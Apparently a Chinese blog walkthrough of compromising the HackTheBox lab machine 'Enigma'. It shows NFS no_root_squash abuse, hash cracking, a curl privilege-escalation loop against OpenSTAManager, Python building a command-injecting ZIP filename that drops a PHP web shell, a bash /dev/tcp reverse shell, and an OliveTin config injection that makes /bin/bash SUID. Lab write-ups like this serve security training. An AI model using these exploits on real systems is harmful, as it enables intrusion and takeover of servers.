HTB靶机 Enigma 渗透测试记录

misaka19008 发布于 2026-07-20 194 次阅读



基本信息

IP地址:10.129.52.81(非固定IP地址)


信息收集

ICMP检测

PING 10.129.52.81 (10.129.52.81) 56(84) bytes of data.
64 bytes from 10.129.52.81: icmp_seq=1 ttl=63 time=227 ms
64 bytes from 10.129.52.81: icmp_seq=2 ttl=63 time=216 ms
64 bytes from 10.129.52.81: icmp_seq=3 ttl=63 time=216 ms
64 bytes from 10.129.52.81: icmp_seq=4 ttl=63 time=217 ms

--- 10.129.52.81 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 215.781/219.157/227.263/4.713 ms

攻击机和靶机间网络连接正常。

防火墙检测

# Nmap 7.99 scan initiated Sat Jul 18 16:14:14 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.52.81
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.22s latency).
All 65535 scanned ports on enigma.htb (10.129.52.81) are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sat Jul 18 16:15:00 2026 -- 1 IP address (1 host up) scanned in 45.99 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口详细信息扫描报告

# Nmap 7.99 scan initiated Sat Jul 18 16:33:12 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 1000 -oN tcp_result.txt 10.129.52.81
Warning: 10.129.52.81 giving up on port because retransmission cap hit (10).
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.25s latency).
Not shown: 54494 closed tcp ports (conn-refused), 11029 filtered tcp ports (no-response)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp    open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Enigma Corp \xE2\x80\x94 Managed IT Solutions
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: RESP-CODES PIPELINING SASL CAPA STLS TOP UIDL AUTH-RESP-CODE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      36555/tcp6  mountd
|   100005  1,2,3      45113/udp6  mountd
|   100005  1,2,3      47117/tcp   mountd
|   100005  1,2,3      55009/udp   mountd
|   100021  1,3,4      34795/tcp   nlockmgr
|   100021  1,3,4      35869/udp6  nlockmgr
|   100021  1,3,4      36375/udp   nlockmgr
|   100021  1,3,4      38223/tcp6  nlockmgr
|   100024  1          33533/tcp   status
|   100024  1          46164/udp6  status
|   100024  1          49227/udp   status
|   100024  1          54793/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: ENABLE listed SASL-IR Pre-login STARTTLS IMAP4rev1 have post-login LOGIN-REFERRALS more ID LOGINDISABLEDA0001 capabilities OK LITERAL+ IDLE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: ENABLE listed SASL-IR OK IMAP4rev1 post-login have LOGIN-REFERRALS more AUTH=PLAINA0001 Pre-login capabilities LITERAL+ ID IDLE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) CAPA PIPELINING TOP UIDL AUTH-RESP-CODE
2049/tcp  open  nfs_acl  3 (RPC #100227)
33533/tcp open  status   1 (RPC #100024)
34795/tcp open  nlockmgr 1-4 (RPC #100021)
48471/tcp open  mountd   1-3 (RPC #100005)
55817/tcp open  mountd   1-3 (RPC #100005)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   471.84 ms 10.10.16.1
2   471.98 ms enigma.htb (10.129.52.81)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 18 16:39:35 2026 -- 1 IP address (1 host up) scanned in 382.81 seconds

UDP开放端口扫描报告

# Nmap 7.99 scan initiated Sat Jul 18 16:21:29 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.52.81
Warning: 10.129.52.81 giving up on port because retransmission cap hit (10).
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.27s latency).
Not shown: 65283 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
PORT      STATE SERVICE
111/udp   open  rpcbind
36375/udp open  unknown
46372/udp open  unknown
46850/udp open  unknown
49227/udp open  unknown
55009/udp open  unknown

# Nmap done at Sat Jul 18 16:25:31 2026 -- 1 IP address (1 host up) scanned in 242.39 seconds

UDP端口详细信息扫描报告

(无)

同时发现,靶机运行Ubuntu Linux操作系统,开放了22/ssh、80/http、Dovecot Mail和NFS服务,靶机主域名为enigma.htb。


服务探测

SSH服务(22端口)

使用ssh工具连接靶机,确定其登录方式:

ssh root@enigma.htb

Pasted image 20260718164607.png
发现靶机只允许使用密钥登录。

NFS服务(2049端口)

首先使用showmount工具连接NFS服务,查看其挂载目录:

showmount -e enigma.htb

Pasted image 20260719182625.png
发现目标NFS服务挂载目录为/srv/nfs/onboarding。尝试使用nfs_analyze工具执行进一步枚举:GitHub - hvs-consulting/nfs-security-tooling: Detect common NFS server misconfigurations · GitHub

~/.local/bin/nfs_analyze --check-no-root-squash enigma.htb

Pasted image 20260719183131.png
成功发现NFS服务开启了no_root_squash选项!根目录文件句柄为01000702a311020000000000b1c5fa6dfc0c49b18e1ca230450ef76802000000000000000200000000000000。
以及部分用户账户的YesCrypt哈希,每个用户分别用不同文件保存:

haris:$y$j9T$n9U97FzFNeULp/v6S7.L7/$e2cuOvzI4LDEwoHJwMQTMIPiLaUBB1QSz7NPSyJLWp2:20503:0:99999:7:::
kevin:$y$j9T$kYlLObLjJzwnlEz4FqGMt.$X8lrQyLgiPjBOqMt/9mQcTt/SWpcTX4I42XayVdwb/8:20502:0:99999:7:::                                   
sarah:$y$j9T$S6W863060XPPwRi0jvTiS0$OlFF60p4A1/aeVISCbDw45L6W1X2O/WxEOlwNDz4sn8:20502:0:99999:7:::                                  
it:$y$j9T$jnrsOwG/dQm3NiSOcvEBn.$FIbr3BiI8AK1ZNhlSfUDPOE23DqwdCyWUF.u8gpQFK.:20502:0:99999:7:::

尝试使用fuse_nfs工具挂载靶机根目录到新建的nfsdata目录:

mkdir nfsdata
~/.local/bin/fuse_nfs --fake-uid-allow-root --allow-write --manual-fh 01000702a311020000000000b1c5fa6dfc0c49b18e1ca230450ef76802000000000000000200000000000000 nfsdata 10.129.53.122

Pasted image 20260719190016.png
成功!


渗透测试

NFS文件系统枚举

在服务探测阶段,我们已经发现了NFS服务的系统根目录句柄并成功将其挂载至本地,现在对靶机进行目录信息收集。
首先查看/srv/nfs/onboarding目录:

ls -lA ./srv/nfs/onboarding

Pasted image 20260719190700.png
发现了一份名为New_Employee_Access.pdf的PDF文档,将其复制到本地后查看:
Pasted image 20260719190840.png
成功发现用户凭据:

  • 用户名:kevin
  • 密码:Enigma2024!
    接着对/etc/nginx/sites-available/目录进行探查,确定Nginx Web服务的各虚拟主机名称:
ls -lA ./etc/nginx/sites-available/

Pasted image 20260719191146.png
发现Nginx站点配置目录中存在四个配置文件,逐个查看:

head -n 8 enigma
head -n 8 openstamanager
head -n 8 roundcube

Pasted image 20260719191903.png
发现如下三个虚拟主机:

  • enigma.htb,目录/var/www/html/main/
  • support_001.enigma.htb,目录/var/www/html/openstamanager/
  • mail001.enigma.htb,目录/var/www/html/roundcube
    逐个访问上述域名,首先打开http://enigma.htb/
    Pasted image 20260719192307.png
    发现该站点为某IT支持公司的介绍页面,为纯前端项目:
    Pasted image 20260719192531.png
    随后访问http://support_001.enigma.htb/:
    Pasted image 20260719192640.png
    发现该站点部署了OpenSTAManager商务工单管理系统,通过查看/var/www/html/openstamanager/VERSION文件可知目标系统版本为2.9.8:
    Pasted image 20260719193005.png
    尝试联网搜索该系统漏洞,发现一个未授权权限提升漏洞和一个远程代码执行漏洞:
  • 编号:CVE-2026-27012,链接:Unauthenticated privilege escalation in OpenSTAManager via modules/utenti/actions.php · Advisory · devcode-it/openstamanager
  • 编号:CVE-2025-69212,链接:OS Command Injection in P7M File Processing · Advisory · devcode-it/openstamanager · GitHub
    最后,打开http://mail001.enigma.htb/:
    Pasted image 20260719193657.png
    发现该站点部署了Roundcube Webmail在线邮件管理系统,暂无法确定其版本。
    除此之外,还在/opt下发现了名为OliveTin的子目录:
    Pasted image 20260719194001.png
    通过联网查询,发现OliveTin是一个用于远程执行配置的系统命令,进行服务器管理的Web系统:
    Pasted image 20260719194147.png
    除此之外,未发现其它信息。

YesCrypt哈希破解

通过对NFS挂载目录进行枚举,我们已经成功获得了3个子域名,并确定了OpenSTAManager v2.9.8系统的两个漏洞,但目前并没有合适的凭据进行登录,遂决定对获取的Linux系统用户哈希执行破解。
首先尝试破解haris用户密码,字典选用rockyou.txt:

john haris-yescrypt.txt --wordlist=/usr/share/dict/rockyou.txt --format=crypt

Pasted image 20260719194657.png
成功获得用户密码:

  • 用户名:haris
  • 密码:bestfriends
    尝试使用该凭据登录OpenSTAManager:
    Pasted image 20260719195014.png
    成功!

OpenSTAManager漏洞利用

登录OpenSTAManager后,发现haris用户并非管理员权限用户,而利用CVE-2025-69212漏洞进行RCE操作需要一个管理员级别功能,决定先利用CVE-2026-27012漏洞更新当前用户配置,将其更改为管理员。
Pasted image 20260719195430.png
根据漏洞描述,编写curl命令发送提权请求,由于无法得知haris用户ID,这里对1-10 的ID值进行遍历,设为id_utente值:

for i in {1..10}; do curl -X POST --data "op=update_user&id_utente=$i&username=haris&email=haris@enigma.htb&idgruppo=1" http://support_001.enigma.htb/modules/utenti/actions.php; done

刷新页面,发现haris用户已经具有管理员权限:
Pasted image 20260719200005.png
接下来利用RCE漏洞:
Pasted image 20260719200123.png
根据漏洞描述,首先执行如下Python代码,创建一个包含恶意文件名的ZIP压缩包:

import zipfile
cmd = "cd files && echo '<?php system($_GET[\"cmd\"]); ?>' > shell.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

压缩包创建完毕后,访问http://support_001.enigma.htb/controller.php?id_module=14#tab_48,打开Sales Invoices模块:
Pasted image 20260719200725.png
点击Choose File按钮,上传创建的恶意ZIP压缩包,上传完毕且弹出报错信息后,访问http://support_001.enigma.htb/files/shell.php,尝试执行id命令:
Pasted image 20260719201041.png
执行成功!直接在本地启动netcat监听,执行如下命令反弹Shell:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.184/443 0>&1'

收到Shell后,直接通过su切换到haris用户:
Pasted image 20260719201739.png
成功!!


权限提升

OliveTin不当命令配置利用

登录haris用户后,进行操作系统信息收集,首先查看系统进程:

ps -aux

Pasted image 20260720063440.png
发现/usr/local/bin/OliveTin正在以root权限运行,猜测/opt/OliveTin/OliveTin-linux-amd64/目录为其备份,真正的OliveTin进程配置目录位于/etc下,尝试进入:

cd /etc/OliveTin/

Pasted image 20260720064521.png
成功!查看config.yaml文件,发现一处敏感配置:

- title: Backup Database
    id: backup_database
    icon: "⛁"
    shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
    popupOnStart: execution-dialog
    arguments:
      - name: db_user
        type: ascii_identifier
        default: backup_svc
      - name: db_pass
        type: password
      - name: db_name
        type: ascii_identifier
        default: production

该命令配置直接将db_pass数据库密码参数拼接到了mysqldump命令中,且未使用ascii_identifier检查,可构造如下Payload提权:

';chmod 4755 /bin/bash;echo '

直接将靶机1337端口转发至本地:

ssh -fCNR 1337:localhost:1337 misaka19008@10.10.17.184 -p 22222

随后访问主页:http://127.0.0.1:1337/,找到页面上的Backup Database按钮点击进入,输入上面的Payload后点击Start按钮提交:
Pasted image 20260720065427.png
返回SSH会话,查看/bin/bash文件权限,发现已经成功创建SUID Bash后门:
Pasted image 20260720065600.png
直接执行如下命令修改root密码提权:

/bin/bash -p
python3 -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"
exit
su -

Pasted image 20260720065852.png
提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2026-10-03